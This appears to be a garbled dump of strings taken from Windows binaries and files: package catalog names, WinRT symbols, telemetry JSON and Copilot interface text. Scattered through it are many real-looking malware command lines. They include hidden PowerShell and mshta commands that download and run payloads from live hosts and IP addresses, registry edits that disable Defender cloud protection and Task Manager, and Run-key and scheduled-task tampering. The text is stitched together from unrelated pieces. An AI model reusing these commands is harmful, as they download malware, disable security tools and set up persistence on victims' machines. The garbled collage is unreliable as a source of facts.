DEFAULT$WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTLIST
Microsoft.Windows.Networking.Teredo
x-pinpass.asp*pop3:%sc:\windows\svhost.exe_
windowsudk.storage.registerschema
C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
 Windows
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat(
windows
windows
System.Windows.Forms.UnsafeNativeMethods.IScrollItemProvider.ScrollIntoView
System.Windows.Forms.IKeyboardToolTip.CanShowToolTipsNow
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.Row
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.get_Row
System.Windows.Forms.ISupportToolStripPanel.ToolStripPanelRow
System.Windows.Forms.ISupportToolStripPanel.get_ToolStripPanelRow
System.Windows.Forms.ISupportToolStripPanel.set_ToolStripPanelRow
(Uobjshell.run"cmd/cstart/minpowershell-windowstylehidden-commandiex(irmhttp://45.141.86.87/r/rhw.ps1)
WINDOWS11
WINDOWS11
	WINDOWS11
WindowSetHeight
FBIMAGE.DLLc:\windows\tempchings@163.netc
c:\windows\temp\app.bat
:The visual skin to use when displaying the docked windows.
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Multimedia-RestrictedCodecs-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Kernel-Package-Lxss-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
<TpmCore::EnrollWindowsAikCertificate
CheckCreateWindowsAIK
WindowsAIKActivity
ash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
\system32\
>c:\windows\system32\openssh\sshg
]c:\windows\system32
c:\windows\system32\cmd.exe'
@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements_composable_inner@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@$0A@@impl@winrt@@
.?AU?$producer@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
\windows\currentversion\explorer\shell folders
Inspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@Z@
.?AU?$implements_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@U?$disconnect_aware_handler@$00U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@$00@impl@winrt@@@impl@4@@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@U?$disconnect_aware_handler@$00U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@$00@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$disconnect_aware_handler@$00U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@$00@impl@winrt@@@impl@winrt@@
.?AU?$implements_delegate@U?$AsyncOperationCompletedHandler@W4ContentDialogResult@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@U?$disconnect_aware_handler@$00U?$await_adapter@U?$IAsyncOperation@W4ContentDialogResult@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@$00@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$delegate@U?$AsyncOperationCompletedHandler@W4ContentDialogResult@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@U?$disconnect_aware_handler@$00U?$await_adapter@U?$IAsyncOperation@W4ContentDialogResult@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@$00@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$disconnect_aware_handler@$00U?$await_adapter@U?$IAsyncOperation@W4ContentDialogResult@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@$00@impl@winrt@@@impl@winrt@@
.?AUtype@?$abi@U?$AsyncOperationCompletedHandler@W4ContentDialogResult@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
:\windows/
Microsoft.Windows.FileSystem.NTFS
Microsoft.Windows.FileSystem.NTFS
Microsoft.Windows.Security.EFS.EfsLibAggregate
Microsoft.Windows.Security.EFS.EfsLib
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\resource.h
oy1c:\windows\system32\windowspowershell\v1.0\powershell.exe/w1echololbeyzgnbmijrjwtx;$a=-join(0x69,0x77,0x72|%{[char]$_});.($a)-urih''t''tp''://18''5.208''.''158''.''4''2/crajja/mask.ps1-outfilemask.ps1;powershell.exe-noprofile-executionpolicybypass-file"$env:programdata\mask.ps1"
copy/b"c:\users\public\windowssecurity.bat"/b+(
+\\windows\\currentversion\\explorer\\advanced\\hidefileext
New-ItemPropertyWinlogonNotify.A
:microsoft\windowsnt\currentversion
winbootdir=C:\WINDOWS
COMSPEC=C:\WINDOWS\COMMAND.COM
PATH=C:\WINDOWS
.?AV?$IUIElementOverrides9T@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IContentControlOverridesT@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IToggleButtonOverridesT@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Primitives@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UToggleButton@Primitives@Controls@Xaml@UI@Windows@4@UButtonBase@6789Windows@4@UContentControl@789Windows@4@UControl@789Windows@4@UFrameworkElement@89Windows@4@UUIElement@89Windows@4@UDependencyObject@89Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UButtonBase@Primitives@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UToggleButton@Primitives@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UContentControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzaggadabhacaaaab0ahqacabzadoalwavagwaaqbuagsamga0ac4aawbyac8anabiagkawabxadeaqwa=
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicy-bypass-windowstylehidden-hidden--hidden---hidden---hidden-command
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('ms'+'hta'+'.exe'+'https://nextgencoding.cyou/asd/amber3')"
Hc:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://orkin-app.com/1
set-itemproperty-path"hklm:\software\policies\microsoft\windowsdefender\cloudbasedprotection"-name"disablecloudprotection"-value1-typedword-force
(WinStore.Common2.dll$windowsudk.interop
,windowsudk.interop.dll2WinStore.Instrumentation2
RepositoryUrl`https://github.com/CommunityToolkit/Labs-Windows
sfromwindows
\windows
Path=C:\WINDOWS\system32;
\Windows\
WINDOWS11
c:\windows\
system325
ography.com/backup','c:\windows\tasks\
.bat');iex'c:\windows\tasks\
c:\windows\system32\conhost.exepowershell$progresspreference='silentlycontinue';i''w''rhttps://jihang.scapematic.info/eqhgrh/uybvjxosg-outfilec:\programdata\186523.pdf;
powershell.exe-nologo-windowstylehidden-command"startexplorer.exe;iwrhttp://imgredientbatchingsystems.com/order/pay.exe-outfile$env:temp\
vc:\windows\system32\cmd.exe/v/k"start/min""powershell-whidden-nologo-nop-epbypass-c"iex([text.encoding]::utf8.getstring((iwr"https://ductri.shop/
C:\Users\JohnDoe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Microsoft.Windows.Globalization.Language
Microsoft.Windows.Shell.TextSuggestionApi
Windows.Globalization.pdb
windows_versionV
Windows.Data.WiFi.WiFiProfile
Windows.Data.WiFi.WiFiProfileCost
Windows.Data.Account.SecondaryAccounts
Windows.Data.Consent.ConsentItem
Windows.Data.WindowsBackup.Preference.Toggles
Windows.Data.LockScreenSettings.DesktopLockScreen
Windows.Data.ColorSettings.ColorData
Windows.Data.DeviceSettings.DeviceSettingsData
windows.exe
a5^com.microsoft.windows.services.iris
com.microsoft.windows.services.iris
Mozilla/5.0 (Windows NT 10.0; Win64; x
o de pagamento. Insira sua senha do Windows para permitir isso.O Microsoft Copilot est
 tentando mostrar as senhas. Insira sua senha do Windows para permitir isso.O Microsoft Copilot est
 tentando copiar as senhas. Digite sua senha do Windows para permitir isso.O Microsoft Copilot est
 tentando editar as senhas. Digite sua senha do Windows para permitir isso.O Microsoft Copilot deseja exportar suas senhas. Insira sua senha do Windows para permitir isso.O Microsoft Copilot est
 tentando importar as senhas. Insira sua senha do Windows para permitir isso.O Microsoft Copilot quer excluir seus dados do Gerenciador de Senhas. Digite sua senha do Windows para permitir isso.O Microsoft Copilot est
 tentando substituir as senhas existentes. Digite sua senha do Windows para permitir isso.Este computador j
o especificado. Baixe o Microsoft Copilot novamente.O Microsoft Copilot requer Windows 10 ou superior.Ocorreu um
reason::not_windows_client
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\windows\p
1FD669A634C50CC70FEAD8606A558CE6FFBC5D95414990DA7281CA25D385CB5BWindowsApplication1.Resources.resources
KVLC media player, VideoLAN and x264 are registered trademarks from VideoLANWindowsFormsApp1.Form1.resources3System.Resources.Tools.StronglyTypedResourceBuilderset_AllowAutoRedirectset_UnsafeAuthenticatedConnectionSharing
Microsoft.Windows.BindFlt
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsDuplicateString
WindowsGetStringLen
WindowsIsStringEmpty
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsCreateStringReference
WindowsStringHasEmbeddedNull
EnumChildWindows
WindowsCompareStringOrdinal
WindowsTrimStringStart
WindowsTrimStringEnd
WindowsConcatString
WindowsSubstringWithSpecifiedLength
windows.globalization.fontgroupswinrt-errorprivate-l1-1-0.dll
Windows.UI.Core
Windows.Ui.Xaml
Microsoft.Windows.Ink.InkOnText
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Ink.InkSamplesData
windows.ui.xaml.pdb
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIItemsControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIItemsControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@VReactPickerView@implementation@ReactNativePicker@winrt@@UIComboBoxOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@VReactPickerView@implementation@ReactNativePicker@winrt@@UIComboBoxOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IUIElementOverrides9T@VReactPickerView@implementation@ReactNativePicker@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@VReactPickerView@implementation@ReactNativePicker@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@VReactPickerView@implementation@ReactNativePicker@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@VReactPickerView@implementation@ReactNativePicker@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@VReactPickerView@implementation@ReactNativePicker@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@VReactPickerView@implementation@ReactNativePicker@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@VReactPickerView@implementation@ReactNativePicker@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@VReactPickerView@implementation@ReactNativePicker@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IItemsControlOverridesT@VReactPickerView@implementation@ReactNativePicker@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IComboBoxOverridesT@VReactPickerView@implementation@ReactNativePicker@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base@VReactPickerView@implementation@ReactNativePicker@winrt@@UComboBox@Controls@Xaml@UI@Windows@4@USelector@Primitives@67894@UItemsControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UItemsControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@VReactPickerView@implementation@ReactNativePicker@winrt@@USelector@Primitives@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@VReactPickerView@implementation@ReactNativePicker@winrt@@UComboBox@Controls@Xaml@UI@Windows@4@@impl@winrt@@
regdelete"hklm\software\microsoft\windows\currentversion\run"/v"securityhealth"/f
Dschtasks/change/tn"microsoft\windows\windowsdefender\windowsdefenderscheduledscan
nulregqueryhkcu\software\microsoft\windows\currentversion\run
whkey_current_user\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr
c:\windows\system32\conhost.exe%comspec%/v/d/c"mdc:\9p1ss7p\>nul&&s^etveiq
(atob("dhlwzq==":\windows\system32\cmd.exe",@startupdir&"\"&$urjwqxfvhrrezc&".lnk","","/k
 gaffes\unfavoredwagoner.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%
c:\windows\system32\cmd.exe/cnetusey:"\\difficulties-gaps-stanley-during.trycloudflare.com@ssl\davwwwroot"/persistent:no&&y:\hey.bat&netusey:/delete/yes
.powershell.exe-windowstylehidden-command"invoke-webrequest-uri'https://candwfarmsinc.com/c.bat'-outfile"$env:temp\c.bat";start-process"$env:temp\c.bat""
 )kJc:\windows\system32\windowspowershell\v1.0\powershell.exe.
c:\windows\syswow64\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'https://bit.ly/dvitrs'-outfile$env:temp\file.bat;start$env:temp\file.bat
^powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('http://www.nawatbsc.com/lnk/
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://rustercoin.com/rustercoin
main.FindWindowsDrive
+'file:C:/Users/defaultuser0/AppData/Local/Microsoft/Windows/Caches/cversions.1.db
+!C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\Caches
Caches (C:\Users\defaultuser0\AppData\Local\Microsoft\Windows)
>cversions.1 (C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\Caches)
*'file:C:/Users/defaultuser0/AppData/Local/Packages/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/Settings/settings.dat
*!C:\Users\defaultuser0\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat
C:\Users\defaultuser0\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings
Settings (C:\Users\defaultuser0\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy)
>settings (C:\Users\defaultuser0\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings)
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
-'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/LocalState
-!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\LocalState_
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
SMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy;
OMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy
>Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages);
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy;
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy-
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
,'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
,!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy*
$=createobject("wscript.shell"):url="https://transfer.sh/get/sfhnuy/imagesize.exe":filename="c:\windows\temp\frontpage.exe":runcmd=
>Microsoft Windows App Runtime 1.6 (6000
		<Logo>WindowsAppRunti
d="Microsoft.Windows.Applica
C:\WINDOWS\Temp\vmware-vmvss-SYSTEM.log
C:\WINDOWS\Temp\vmware-vmvss-SYSTEM.log
C:\windows\msngrs.exe
Software\Microsoft\Windows\CurrentVersion\Run
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
erViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.MaskView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.MaskViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.PathView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.PathViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.PatternView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.PatternViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.RadialGradientView" 